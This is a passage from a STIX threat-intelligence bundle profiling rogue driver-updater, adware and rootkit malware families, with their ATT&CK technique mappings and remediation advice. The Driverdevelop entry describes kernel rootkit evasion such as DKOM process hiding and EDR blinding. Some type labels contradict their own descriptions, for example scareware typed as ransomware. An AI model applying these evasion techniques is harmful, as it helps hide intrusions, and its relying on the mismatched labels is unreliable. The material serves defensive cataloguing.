      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverbooster exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--581ea22b-118c-5594-89b2-5b8ff08bd11c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Driverdevelop",
      "description": "<h3>Executive Summary</h3>\n\"DriverDevelop\" is a detection classification typically assigned to heavily obfuscated or unauthorized kernel-mode drivers (`.sys` files) that exhibit highly suspicious behavior. While some may originate from poorly written legacy software, this classification frequently flags malicious \"Rootkit\" components designed to operate at Ring 0 (kernel level), granting the malware ultimate control over the operating system and the ability to completely bypass standard endpoint security controls.\n\n<h3>Technical Capabilities and Evasion (Rootkits)</h3>\nMalicious drivers are often deployed by initial access trojans after an attacker has successfully escalated privileges to Administrator or SYSTEM. \n\nOperating at the kernel level allows DriverDevelop artifacts to execute profound evasion techniques:\n<ul>\n<li><strong>Direct Kernel Object Manipulation (DKOM):</strong> The driver can modify kernel structures in memory to un-link its own active process (or the process of its associated malware payload) from the ActiveProcessLinks list. This makes the malware entirely invisible to standard tools like Task Manager or Process Explorer.</li>\n<li><strong>Security Evasion and Blinding:</strong> Because the driver operates at the same (or higher) privilege level as the Antivirus/EDR solution, it can actively intercept security API calls, block the EDR agent from scanning specific files, or simply terminate the security software's services without generating an alert.</li>\n<li><strong>Network Filter Bypassing:</strong> Malicious drivers can implement custom Network Driver Interface Specification (NDIS) filters to intercept all inbound and outbound network traffic, hiding command-and-control (C2) communication from local firewalls.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a DriverDevelop artifact is a critical, Tier-1 security incident. It indicates that the attacker has successfully bypassed User Account Control (UAC), escalated privileges, and compromised the deepest layer of the operating system. The endpoint can no longer be trusted to report its own status accurately.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Bare-Metal Recovery:</strong> Endpoints compromised by kernel-mode rootkits cannot be reliably cleaned using software running on the infected OS. The machine must be physically isolated, securely wiped, and re-imaged from known-good media.</li>\n<li><strong>Memory Forensics:</strong> Before wiping the machine, perform a full memory dump (if possible). Analyzing the physical memory (using Volatility) is often the only way to identify the specific DKOM techniques used and extract the hidden C2 infrastructure for network-wide blocking.</li>\n<li><strong>Enforce Driver Signature Enforcement (DSE):</strong> Ensure that DSE is strictly enforced via Group Policy to prevent the loading of unsigned or improperly signed drivers. Monitor for techniques (like \"Bring Your Own Vulnerable Driver\" - BYOVD) that attackers use to bypass DSE.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit.DriverDevelop",
        "Riskware.BadDriver",
        "Trojan.Sys.DriverDevelop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Driverdevelop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/driverdevelop"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b809c822-bf92-5a2b-b2d6-3b172bc4106c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--581ea22b-118c-5594-89b2-5b8ff08bd11c",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverdevelop exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a8e8c86-8d17-5315-b72d-23bfd3c45df3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--581ea22b-118c-5594-89b2-5b8ff08bd11c",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverdevelop exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa16d1fa-760c-5be8-98fd-ede8b974ef8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--581ea22b-118c-5594-89b2-5b8ff08bd11c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverdevelop exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b8a970d-74e6-55e8-925b-0350b3992a5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Driverpack",
      "description": "DriverPack (DriverPack Solution, recognized across endpoint security engines as PUA:Win32/DriverPack, Adware:Win32/DriverPack, and PUP.Optional.DriverPackSolution) is an aggressive potentially unwanted application (PUA) and software bundler that claims to automate device driver updates on Windows systems. Distributed through deceptive download portals, torrent packages, and sponsored installers, DriverPack forcefully changes web browser default search engines, injects desktop advertising banners, and downloads unauthorized third-party bloatware applications and browser extensions without explicit user consent. (Observed samples in benchmark: 326)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/DriverPack",
        "Adware:Win32/DriverPack",
        "PUP.Optional.DriverPackSolution",
        "Win32/DriverPack.Adware",
        "DriverPackSolution.PUP"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Driverpack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/driverpack"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4413c0a8-e7c3-5d63-b736-1a237c147089",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b8a970d-74e6-55e8-925b-0350b3992a5a",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverpack exhibits technique T1566.002 (Phishing: Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--525665cc-15bb-531a-8874-cf9e6b40bcbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b8a970d-74e6-55e8-925b-0350b3992a5a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverpack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b954c0b9-bfe1-5040-bcf3-a3cbb582f207",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b8a970d-74e6-55e8-925b-0350b3992a5a",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverpack exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9a19195-5545-5195-83e4-c8f37c4107f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b8a970d-74e6-55e8-925b-0350b3992a5a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverpack exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d6bb815-3461-528f-b666-bdd5adf222fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b8a970d-74e6-55e8-925b-0350b3992a5a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverpack exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e80b52a4-1743-5428-aa27-9a0603feb465",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Drivertalent",
      "description": "Program:Win32/Drivertalent (often associated with software of the same name or generic Rogue Driver Updaters) is a deceptive Potentially Unwanted Program (PUA). It utilizes aggressive, scareware-like tactics to convince users that their computer drivers are critically outdated, missing, or corrupted, threatening system crashes or hardware failure. Its ultimate goal is not to improve system performance, but to frighten the user into purchasing a premium 'license' to download the 'fixed' drivers it supposedly found.<br><br><b>Understanding Rogue Driver Updaters</b><br>To an end-user, Drivertalent often appears helpful, displaying professional-looking interfaces and hardware scans. For an enterprise, it represents a security risk and a source of IT support overhead. These rogue updaters often download incorrect or incompatible drivers, leading to 'Blue Screen of Death' (BSOD) crashes and hardware instability. Furthermore, they frequently serve as conduits for dropping actual adware and browser hijackers via bundled installations.<br><br><b>Execution and Extortion Mechanics</b><br>Drivertalent is typically distributed via deceptive malvertising (fake 'Update Your Drivers' pop-ups on gaming or tech support sites) or bundled with other freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the Registry Run keys or Scheduled Tasks (`T1547.001`) to ensure it launches on boot. It immediately runs a high-speed 'scan' that invariably flags dozens of normal, functioning hardware drivers as 'Critically Outdated' (`T1491`). When the user attempts to click 'Update All', the software blocks the action and redirects the user to an online payment portal, demanding a subscription fee.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is user deception, potential financial fraud, and severe system instability caused by the installation of incorrect drivers. IoCs are highly visible: persistent pop-ups warning of hardware failure, and a new application icon in the system tray. EDR logs will show the software making extensive, questionable modifications to driver repositories and registry hives under the guise of hardware management. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Drivertalent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/drivertalent"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35937305-56ff-5d51-96d6-fa3dc82c32b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e80b52a4-1743-5428-aa27-9a0603feb465",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drivertalent exhibits technique T1189 (Drive-by Compromise (Deceptive ads and bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--679b9a16-b559-58e7-a1d7-9613d3fb127f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e80b52a4-1743-5428-aa27-9a0603feb465",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drivertalent exhibits technique T1491 (Defacement (Displaying fake driver warnings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eed05240-0392-5814-b83c-eeecb48216cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e80b52a4-1743-5428-aa27-9a0603feb465",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drivertalent exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60fe7f40-ae19-5994-ab73-8f514fbd9f3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e80b52a4-1743-5428-aa27-9a0603feb465",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Drivertalent exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eda38e02-83c2-5bcb-9631-375ae5aab589",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Driverturbo",
      "description": "<h3>Executive Summary</h3>\nDriverTurbo is a deceptive Potentially Unwanted Program (PUP) that operates as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial or completely fabricated system \"scans\" to generate alarming false-positive reports about outdated drivers, registry errors, or impending hardware failures. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix the non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDriverTurbo relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming pop-up ads claiming their \"Drivers are critically outdated\" or when downloading freeware from third-party aggregators, where the utility is installed silently in the background.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports hundreds of \"critical driver errors,\" creating a false sense of urgency and impending system instability.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants may employ locking tactics. They may constantly overlay the screen with warnings or fake Blue Screens of Death (BSODs), effectively holding the user's workflow hostage until they pay the ransom (buys the \"license\").</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that even if the user closes the application, it repeatedly re-launches and interrupts workflow with purchase prompts.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, DriverTurbo poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.DriverTurbo",
        "PUP.FakeOptimizer",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Driverturbo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/driverturbo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a2275a1-a092-5e76-bd69-634878694d76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda38e02-83c2-5bcb-9631-375ae5aab589",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverturbo exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f74aa9e9-8ab6-59f8-9d94-54a66e731ecb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda38e02-83c2-5bcb-9631-375ae5aab589",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverturbo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65a21027-15a6-5866-8f6c-d7384902be4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eda38e02-83c2-5bcb-9631-375ae5aab589",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverturbo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ce15c5b1-92ba-5bc2-aa84-c3da9348f70c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Driverupdate",
      "description": "DriverUpdate (classified across security vendors under designations including PUA:Win32/DriverUpdate and Program:Win32/DriverUpdate) is a Potentially Unwanted Application and rogue driver updater utility. Distributed via pay-per-install software bundles and deceptive online system scan advertisements, DriverUpdate runs simulated hardware driver checks that falsely claim legitimate, fully functional device drivers are severely out-of-date, corrupt, or causing system instability. It demands that the victim purchase an expensive paid software subscription to download updates, while establishing persistent autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and installing telemetry background tasks. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/DriverUpdate",
        "Program:Win32/DriverUpdate",
        "DriverUpdate Scareware",
        "Rogue:Win32/DriverUpdate",
        "Win32/DriverUpdate"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Driverupdate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/driverupdate"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4592830-07c1-58a6-b024-5f3a733c7855",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce15c5b1-92ba-5bc2-aa84-c3da9348f70c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdate exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76e6f077-c180-5a6f-a0ae-8653346caef5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce15c5b1-92ba-5bc2-aa84-c3da9348f70c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdate exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48f90df3-0884-54db-9ddc-705e8aab0674",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce15c5b1-92ba-5bc2-aa84-c3da9348f70c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdate exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05eb1169-cf92-5802-8977-4b4a0b80af83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce15c5b1-92ba-5bc2-aa84-c3da9348f70c",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdate exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ab5452b-c139-5ef8-8ae9-515f2d6721c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce15c5b1-92ba-5bc2-aa84-c3da9348f70c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdate exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5425692-db37-52fd-bc1c-dc75654e20a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Driverupdater",
      "description": "PUA:Win32/Driverupdater represents a broad category of Potentially Unwanted Programs (PUAs) and Scareware that masquerade as essential system maintenance tools. These programs claim to scan the user's computer for 'outdated' or 'missing' hardware drivers, displaying alarming, false-positive results to coerce the user into purchasing a premium license to 'fix' the non-existent issues.<br><br><b>Understanding Rogue Driver Updaters</b><br>To an end-user, these programs appear legitimate, often utilizing professional-looking UIs and urgent warnings about system stability. They are frequently downloaded inadvertently via misleading ads ('Your drivers are out of date! Click here to fix!'). For a security analyst, these are classic extortion/scareware tools. While they rarely encrypt data like ransomware, they prey on user anxiety to generate fraudulent revenue and often bundle themselves with aggressive adware.<br><br><b>Execution and Coercion Mechanics</b><br>Driverupdater software is typically installed via malvertising or bundled with freeware (`T1189`). Upon execution, it establishes persistence via Scheduled Tasks to ensure it runs constantly in the background (`T1053.005`). It performs a rapid, superficial 'scan' of the system registry and immediately flags dozens of standard system files or perfectly functional drivers as 'Critically Outdated' or 'Failing' (`T1491`). It utilizes persistent, highly disruptive pop-ups originating from the system tray to nag the user. If the user attempts to update the drivers through the software, they are blocked by a paywall demanding credit card details.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential financial loss, and the risk of actual system instability (if the software actually attempts to install incorrect, third-party drivers). Incident responders will observe the software installed in `C:\\Program Files` and generating persistent, annoying pop-ups. EDR logs will show the software establishing multiple Scheduled Tasks and frequently reaching out to its payment processing domains. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Driverupdater",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/driverupdater"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef9127b1-224c-5412-93dc-868739ba803b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5425692-db37-52fd-bc1c-dc75654e20a8",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdater exhibits technique T1491 (Defacement (Displaying fake security/system warnings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a69d2fa9-3ae7-5381-ae6e-73813ad2a079",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5425692-db37-52fd-bc1c-dc75654e20a8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdater exhibits technique T1189 (Drive-by Compromise (Malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f3c15ea-40b0-5ed0-9546-07cfd634ecb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5425692-db37-52fd-bc1c-dc75654e20a8",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdater exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Nag screens))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2814d0f3-c133-5266-ab2b-8716353e2fd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5425692-db37-52fd-bc1c-dc75654e20a8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Driverupdater exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2d967d57-6378-59d1-8ccf-aa13c72a55f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Drmsoft",
      "description": "PUA:Win32/Drmsoft is a Potentially Unwanted Program (PUA) and adware family often bundled with video converters, media players, or software that promises to strip Digital Rights Management (DRM) from media files. While the core software may provide the promised media conversion, it heavily subsidizes its free cost by silently installing browser hijackers, aggressive tracking cookies, and injecting intrusive advertisements.<br><br><b>Understanding Drmsoft Adware</b><br>To an end-user, Drmsoft is highly annoying. They download a tool to convert a video file, and suddenly their browser homepage is changed, their default search engine is locked to an unfamiliar domain, and they are bombarded with pop-ups. For security analysts, Drmsoft represents a classic Pay-Per-Install (PPI) monetization scheme. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings.<br><br><b>Execution and Hijacking Mechanics</b><br>The infection typically begins when a user downloads the software from a freeware aggregator site (`T1189`). The setup wizard employs 'Dark Patterns'\u2014pre-checked consent boxes hidden behind 'Advanced' menus (`T1204.002`). Upon execution, it installs malicious browser extensions (`T1176`) and frequently leverages Windows Group Policy (GPO) settings to lock the rogue extensions in place, preventing the user from removing them. It establishes persistence via Registry Run keys (`T1547.001`) and Scheduled Tasks to ensure the adware is reinstalled if deleted.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy (all searches are tracked and monetized), and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Drmsoft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/drmsoft"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91af919e-38e5-50f5-aa1f-65ca18443ff7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d967d57-6378-59d1-8ccf-aa13c72a55f5",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
